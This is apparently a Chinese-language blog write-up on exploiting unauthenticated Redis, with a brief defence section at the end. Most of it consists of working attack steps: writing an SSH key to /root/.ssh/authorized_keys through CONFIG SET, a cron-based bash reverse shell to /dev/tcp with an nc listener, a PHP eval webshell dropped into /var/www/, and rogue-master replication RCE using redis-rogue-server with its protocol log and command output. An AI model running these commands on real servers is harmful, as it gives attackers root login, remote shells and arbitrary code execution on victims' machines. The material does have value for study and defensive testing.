目录
2.3利用redis-cli写配置的方式将公钥写入ssh目录
3.定时任务写入反弹shell(此方法在ubuntu中因无法忽略乱码导致失败)
前言
redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。
但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。
影响版本:2.x、3.x、4.x、5.x
搭建redis
参考Linux下安装Redis_浅末年华的博客-CSDN博客_linux安装redis
安装redis客户端redis-cli
apt install redis-cli
未授权访问
安装好redis客户端以后,直接连接远程服务器redis-cli -h http://.....
成功登录远程redis
1.查看服务器信息 info
2.上传ssh密钥登录
2.1创建公钥私钥,将公钥写入本地文件
在攻击机上输入ssh-keygen -t rsa,会创建id_rsa私钥和id_rsa.pub公钥
(echo "\n\n";cat /root/.ssh/id_rsa_pub)>test.txt
使用\n避免和其他redis缓存数据混合
2.2 将公钥发送到对方服务器
首先将公钥发送到redis的缓存中
cat test.txt | redis-cli -h xx.xx.xx.xx -x set hello
2.3利用redis-cli写配置的方式将公钥写入ssh目录
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
2.4 利用私钥远程登录redis的22端口
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx,成功登录
3.定时任务写入反弹shell(此方法在ubuntu中因无法忽略乱码导致失败)
3.1在redis中写入定时任务
set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
3.2在攻击机上监听888端口等待反弹shell
nc -lvp 888
4.直接写入shell脚本
4.1 redis写入shell
set x "\n\n\n<?php @eval($_POST['a']);?>\n\n\n" -------加入\n\n\n防止乱码影响shell
config set dir /var/www/
config dbfilename 1.php
save
4.2 访问网站下的1.php
5.主从getshell
适用版本redis 4.x/5.x
5.1 主从介绍
以上都是传统redis未授权getshell方式,而目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。
主从模式就是使用一个redis实例作为主机,其他实例作为备份机,主机只负责写,从机负责读,读写分离,这样可以减轻读写流量的压力。
可以通过slaveof来设置主从状态
同时redis4.x以后可以通过外部扩展调用编译恶意so文件执行任意命令,并且主从模式可以使用FULLRESYNC功能实现文件的复制,将恶意so文件送到从机,让从机执行系统命令。
5.2复现
首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机
GitHub - LoRexxar/redis-rogue-server: Redis 4.x & 5.x RCE
直接使用攻击脚本执行以上流程
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
登录从机直接执行系统命令
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"
总结
redis未授权访问可以导致攻击者直接登录redis服务,从而可以修改特定的shell和ssh文件,进一步结合其他攻击方式进行攻击。
防御方式
1.关闭6379
关闭对外端口防止攻击者利用
2.设置密码登录
不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。
3.服务器以低权限运行redis服务
4.禁用高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址